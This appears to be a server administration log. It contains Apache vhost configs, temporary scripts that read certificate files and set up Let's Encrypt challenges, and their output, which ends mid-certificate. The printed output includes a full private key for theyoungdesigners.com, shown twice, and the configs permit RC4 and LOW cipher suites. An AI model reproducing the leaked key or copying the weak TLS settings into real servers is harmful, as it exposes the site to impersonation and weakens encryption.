</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/theyoungdesigners_www_com.conf	1481

<VirtualHost *:80>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	theyoungdesigners.com
    ServerAlias	www.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt
    DocumentRoot	/var/www/theyoungdesigners_com/public
    <Directory /var/www/theyoungdesigners_com>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/com_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/com_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-09-17 14:03:38: 

PUT: /tmp/pkp173563

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-17 14:03:38: 

chmod 755 /tmp/pkp173563; /tmp/pkp173563; rm /tmp/pkp173563

2025-09-17 14:03:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt	5402
73:43:5a:c5:c0:6e:20:c6:7b:6d:31:08:67:62:66:12

-----BEGIN CERTIFICATE-----
MIIFIzCCBAugAwIBAgISBb9KukZ4sEEQaYJ6GF1lvz/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE3MTMwNTA2WhcNMjUxMjE2MTMwNTA1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDGihw6Prb23LY95EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6
hyEPV2iazNubBCedAFlwBEqRMujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx
/1cHr1PWNtiONfOUupIC/MTzbcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0t
w/+W6XFTtgGKnDU0a3UDjcJ/CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZ
tzao3s0eHAfU5Rou1hL2+Pm4jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXz
nmMnkDgXIrbs5NRJQwLt7KPta9J5VNThAgMBAAGjggJCMIICPjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMLuNIGWkVR500GsW6g4QtbdjGyKMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvMTIyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmVf86mcAAAQDAEgwRgIhANXseQWM0dho
+7EN0DalhN7sThVrH47Uo6/eh3b32mDhAiEAv7bGbwtuakR//+ZNHMz0r7K7HOR2
hSALttrV2ig6H3cAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAA
AZlX/OwyAAAEAwBHMEUCIEV7dtipSwvzYo/j5q2F0acjyHN0/3yCLw+Y0mMKTCgB
AiEAsk8BRgg3Lh7bARCuAIhEUYTPJvjqrlRvZqZGnaHy/aUwDQYJKoZIhvcNAQEL
BQADggEBAGynU2RD5VpwwV9g+fc8fi5y/VbGZEo4FaRwE9WLEZ1qd988SaSmwM2i
IuDQhxZrYhl6quxVPFOhP/N+WQsPQ25rzyhSc4QOAwUe3oveLzGsJOJ/3Lf8nAqz
3FECmF7DbaPpsuq9vPcIbogZrwWl2b4O1GbzUbIBmX2OHnYpSIFsuQuAVy1J36Uq
piTDSvM4K52VH/P8C/k/QOg5nWZ0ECGkjP/vXw3T//HEBducJMAtbEXTQG9ugwIA
GVllcgXYW8sL22SKOtBVKu+Kgy9vRtn8dBHwgY7XydLxglGeLV1RY8H1pJjjZY1x
YRsuifZBDmFa/yLABfNP1yf+2hx2wKU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGihw6Prb23LY9
5EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6hyEPV2iazNubBCedAFlwBEqR
MujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx/1cHr1PWNtiONfOUupIC/MTz
bcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0tw/+W6XFTtgGKnDU0a3UDjcJ/
CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZtzao3s0eHAfU5Rou1hL2+Pm4
jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXznmMnkDgXIrbs5NRJQwLt7KPt
a9J5VNThAgMBAAECggEBAKiiDEHInP1nEH/XUqjyG484Rbi70zptI4YRNMtYWOWf
jdad+JJDoUMaXZE7TAUX9Xtgdwkaj9zeODvGAx3LZA3RarJibLEw0IK1ey7mBP7O
QdoXavPFnZy7Zb+IQuxTH3MDDkaIhZZ1/g9JdFRRRz91xYZNld2MgWCSs1LMhkje
46GfZwJPgTxHyQe6EYLrwUikSVUHO1VAykZ47ZrhuReS09EVsqqTlhidHbi4CXLL
CA90nGg1ewP/sqX897dI0d98VPGtq3KZJqFbTBI4cxnrQD3HFCycHiVVocTZ/c1a
ewvO8+s1rOftgJ1PY5/4T5zC0P/fSTXdjtXIoBT7wFUCgYEA5EkoMM9UVTzBRts8
Q7tYu76mun+nhCdmPp1z+gjLTRFIfSvFng0wqbdtRxnUgTUdazjWtcwyFNCvpmfp
JnUL2u4OHft3Z1AmRu/2nZv10M5Do+s7JxlFmQiiU+NvykzHF7jLraqZF6op4ZsX
KD/MicJY37SElAprjIXWUI5lNKMCgYEA3qR5rntHLiTkJE8lSG4W9DNTn9T4HA0N
5+SkFxZD/T0y4wbw2/nGGm9JVnQSHYtZUFTRHta8/mMq9DaRVx2wmXja7de82gRV
y3IBGH5one5viqBKwGvfBxlpD0ULh2fWGmNxBvMc/YYeKutahnSTHnCn03mFfRug
TklsC0fZZKsCgYA7E7OS7hSk+lQKQjIWVSVhcLU1DlQLnyaWjai1zBDQoOhhfDJn
9IHjadSd0dFsnpI+bTcjVPSg7mCGb92mViP7RB/jInCEC/nb4b2wi+vRXY+jm/xy
4ddhAxr/GpyTfcsIGIqdJsj3ltG/0KLth5UnEWRugAjPRuMOOpR7xF3sgQKBgQCb
OLppDiOrJSc1tUQ+AhrYuCwWI8my7NsEEGDig7B1DsS6iS1FgBdAeNP9hUDX/j4P
hoKhaH8tMABTcPPVc6qa5SplZeKRcTJLe7kN1ZukeAal9GkJTGuarHmVnsKR7a/U
h/3WJYrRqj7AF4Pud7nWIB6xjmilt6wEyKWeG8KRrwKBgB7Ps1D411wGsMMKS4ko
ybypoHJnQskTpQoZsTNGw1SJOlqWQzHLbZqyRYbwqim7f4hz4/kshrM7IqBysTmJ
CSDd3G+vXZuivtBTZ9q5iEuNWdVS4c3ogAM4McMxM//ZX7+CMDHQxIwaBY8/84Sv
0wg82itiLF1AlQA8Ki3iVurW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-17 14:03:38: 

PUT: /tmp/pkp154985

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-17 14:03:38: 

chmod 755 /tmp/pkp154985; /tmp/pkp154985; rm /tmp/pkp154985

2025-09-17 14:03:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/2deaf2826866ca8d93ba58b86ef107a6.crt	5402
73:43:5a:c5:c0:6e:20:c6:7b:6d:31:08:67:62:66:12

-----BEGIN CERTIFICATE-----
MIIFIzCCBAugAwIBAgISBb9KukZ4sEEQaYJ6GF1lvz/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTE3MTMwNTA2WhcNMjUxMjE2MTMwNTA1WjAgMR4wHAYDVQQD
ExV0aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQDGihw6Prb23LY95EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6
hyEPV2iazNubBCedAFlwBEqRMujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx
/1cHr1PWNtiONfOUupIC/MTzbcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0t
w/+W6XFTtgGKnDU0a3UDjcJ/CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZ
tzao3s0eHAfU5Rou1hL2+Pm4jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXz
nmMnkDgXIrbs5NRJQwLt7KPta9J5VNThAgMBAAGjggJCMIICPjAOBgNVHQ8BAf8E
BAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQC
MAAwHQYDVR0OBBYEFMLuNIGWkVR500GsW6g4QtbdjGyKMB8GA1UdIwQYMBaAFAC1
KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYX
aHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wOwYDVR0RBDQwMoIVdGhleW91bmdkZXNp
Z25lcnMuY29tghl3d3cudGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAow
CAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIuYy5sZW5jci5v
cmcvMTIyLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB3AMz7D2qFcQll/pWb
U87psnwi6YVcDZeNtql+VMD+TA2wAAABmVf86mcAAAQDAEgwRgIhANXseQWM0dho
+7EN0DalhN7sThVrH47Uo6/eh3b32mDhAiEAv7bGbwtuakR//+ZNHMz0r7K7HOR2
hSALttrV2ig6H3cAdgAN4fIwK9MNwUBiEgnqVS78R3R8sdfpMO8OQh60fk6qNAAA
AZlX/OwyAAAEAwBHMEUCIEV7dtipSwvzYo/j5q2F0acjyHN0/3yCLw+Y0mMKTCgB
AiEAsk8BRgg3Lh7bARCuAIhEUYTPJvjqrlRvZqZGnaHy/aUwDQYJKoZIhvcNAQEL
BQADggEBAGynU2RD5VpwwV9g+fc8fi5y/VbGZEo4FaRwE9WLEZ1qd988SaSmwM2i
IuDQhxZrYhl6quxVPFOhP/N+WQsPQ25rzyhSc4QOAwUe3oveLzGsJOJ/3Lf8nAqz
3FECmF7DbaPpsuq9vPcIbogZrwWl2b4O1GbzUbIBmX2OHnYpSIFsuQuAVy1J36Uq
piTDSvM4K52VH/P8C/k/QOg5nWZ0ECGkjP/vXw3T//HEBducJMAtbEXTQG9ugwIA
GVllcgXYW8sL22SKOtBVKu+Kgy9vRtn8dBHwgY7XydLxglGeLV1RY8H1pJjjZY1x
YRsuifZBDmFa/yLABfNP1yf+2hx2wKU=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDGihw6Prb23LY9
5EenGMk4C+gI8oxE0fppycX0aB8Bg99D+d7XvLl6hyEPV2iazNubBCedAFlwBEqR
MujmDO54ROBHuvAlS437G1AHJKFMPg1K4+/98Tmx/1cHr1PWNtiONfOUupIC/MTz
bcnqWKy9VXd1MyxVmzt287KGIcnunnyGgqvcM/0tw/+W6XFTtgGKnDU0a3UDjcJ/
CWIAg9wGfWDLqYB9bwzMCEx7wcYxCMVz1xkPBIVZtzao3s0eHAfU5Rou1hL2+Pm4
jTFR98WbseidGNqlbv5tWLSHhuN064bXrkQSUMXznmMnkDgXIrbs5NRJQwLt7KPt
a9J5VNThAgMBAAECggEBAKiiDEHInP1nEH/XUqjyG484Rbi70zptI4YRNMtYWOWf
jdad+JJDoUMaXZE7TAUX9Xtgdwkaj9zeODvGAx3LZA3RarJibLEw0IK1ey7mBP7O
QdoXavPFnZy7Zb+IQuxTH3MDDkaIhZZ1/g9JdFRRRz91xYZNld2MgWCSs1LMhkje
46GfZwJPgTxHyQe6EYLrwUikSVUHO1VAykZ47ZrhuReS09EVsqqTlhidHbi4CXLL
CA90nGg1ewP/sqX897dI0d98VPGtq3KZJqFbTBI4cxnrQD3HFCycHiVVocTZ/c1a
ewvO8+s1rOftgJ1PY5/4T5zC0P/fSTXdjtXIoBT7wFUCgYEA5EkoMM9UVTzBRts8
Q7tYu76mun+nhCdmPp1z+gjLTRFIfSvFng0wqbdtRxnUgTUdazjWtcwyFNCvpmfp
JnUL2u4OHft3Z1AmRu/2nZv10M5Do+s7JxlFmQiiU+NvykzHF7jLraqZF6op4ZsX
KD/MicJY37SElAprjIXWUI5lNKMCgYEA3qR5rntHLiTkJE8lSG4W9DNTn9T4HA0N
5+SkFxZD/T0y4wbw2/nGGm9JVnQSHYtZUFTRHta8/mMq9DaRVx2wmXja7de82gRV
y3IBGH5one5viqBKwGvfBxlpD0ULh2fWGmNxBvMc/YYeKutahnSTHnCn03mFfRug
TklsC0fZZKsCgYA7E7OS7hSk+lQKQjIWVSVhcLU1DlQLnyaWjai1zBDQoOhhfDJn
9IHjadSd0dFsnpI+bTcjVPSg7mCGb92mViP7RB/jInCEC/nb4b2wi+vRXY+jm/xy
4ddhAxr/GpyTfcsIGIqdJsj3ltG/0KLth5UnEWRugAjPRuMOOpR7xF3sgQKBgQCb
OLppDiOrJSc1tUQ+AhrYuCwWI8my7NsEEGDig7B1DsS6iS1FgBdAeNP9hUDX/j4P
hoKhaH8tMABTcPPVc6qa5SplZeKRcTJLe7kN1ZukeAal9GkJTGuarHmVnsKR7a/U
h/3WJYrRqj7AF4Pud7nWIB6xjmilt6wEyKWeG8KRrwKBgB7Ps1D411wGsMMKS4ko
ybypoHJnQskTpQoZsTNGw1SJOlqWQzHLbZqyRYbwqim7f4hz4/kshrM7IqBysTmJ
CSDd3G+vXZuivtBTZ9q5iEuNWdVS4c3ogAM4McMxM//ZX7+CMDHQxIwaBY8/84Sv
0wg82itiLF1AlQA8Ki3iVurW
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-09-22 06:00:02: Establishing a connection
2025-09-22 06:00:02: Establishing a connection
2025-09-22 06:00:02: 

PUT: /tmp/pkp101176

#!/bin/bash
if [ -d "/var/www/maminas_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-09-22 06:00:03: 

chmod 755 /tmp/pkp101176; /tmp/pkp101176; rm /tmp/pkp101176

2025-09-22 06:00:03: 


1


2025-09-22 06:00:04: Establishing a connection
2025-09-22 06:00:05: 

PUT: /tmp/pkp516556

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
cat > Gp7MVSdbcvA6zNCD2n9k_BDzlohXzrN6wJjdlaGPCUY <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
Gp7MVSdbcvA6zNCD2n9k_BDzlohXzrN6wJjdlaGPCUY.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 Gp7MVSdbcvA6zNCD2n9k_BDzlohXzrN6wJjdlaGPCUY
cat > L0u9JGEgT5XwfetqWlHul8tUQzupCFgDZtwqX_Sh2yk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
L0u9JGEgT5XwfetqWlHul8tUQzupCFgDZtwqX_Sh2yk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 L0u9JGEgT5XwfetqWlHul8tUQzupCFgDZtwqX_Sh2yk


2025-09-22 06:00:05: 

chmod 755 /tmp/pkp516556; /tmp/pkp516556; rm /tmp/pkp516556

2025-09-22 06:00:05: 




2025-09-22 06:00:16: Establishing a connection
2025-09-22 06:00:16: 

PUT: /tmp/pkp123461

#!/bin/bash
mkdir -p "/var/www/maminas_www/.well-known/acme-challenge/"
cd "/var/www/maminas_www/.well-known/acme-challenge/"
rm Gp7MVSdbcvA6zNCD2n9k_BDzlohXzrN6wJjdlaGPCUY
rm L0u9JGEgT5XwfetqWlHul8tUQzupCFgDZtwqX_Sh2yk


2025-09-22 06:00:16: 

chmod 755 /tmp/pkp123461; /tmp/pkp123461; rm /tmp/pkp123461

2025-09-22 06:00:16: 




2025-09-22 06:00:16: Establishing a connection
2025-09-22 06:00:16: 

PUT: /tmp/pkp108479

#!/bin/bash
temp_file=$(mktemp)
TARGET=aa64a65ef2076a4bf3eeaac96e0b38a2.crt

cat > $temp_file <<'endmsg'
ca:71:36:dd:8c:4f:81:a9:8a:64:16:8f:65:4c:73:04

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBbJxRS1FLFwkD6LFi94S0vHIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUwOTIyMDUwMTQ1WhcNMjUxMjIxMDUwMTQ0WjAXMRUwEwYDVQQD
EwxtYW1pbmFzLmluZm8wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCZ
SRrNsXjpvPe77fM1hDeAGh/o06mPBdlXse5FTZAgNtQ04pZistnikShpmPsxv40j
8ZHNPzwn7f008Qn3dCuvINe9mxc0UeCHGvNsag5tkqKOK1Yoco3oRGrgPIC+6xSQ
Z4YAKJx4kvzHkr6CY9e6ldzbn4iP9huv84a1BBc14IoxGfqvdkrreLyqUfDdUaAR
Gr4e0JO6NpL/o3Y5aFr834fYaNhpu+b8AnPqqlWPvxzB9krQ5Nz577ScfnY/HrsL
vjit10fh6RDzMM6qOD6D4L4yVRVR2LHyQzXWphkGte8HhBzUsRlJtls7JcLtFGQ5
IZSvMS5MVcO/AY+73HovAgMBAAGjggIuMIICKjAOBgNVHQ8BAf8EBAMCBaAwHQYD
VR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYDVR0O
BBYEFJj3Ak/FqVK01ioAU1CR8wVvVi3uMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtM
rXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3Ix
Mi5pLmxlbmNyLm9yZy8wKQYDVR0RBCIwIIIMbWFtaW5hcy5pbmZvghB3d3cubWFt
aW5hcy5pbmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+G
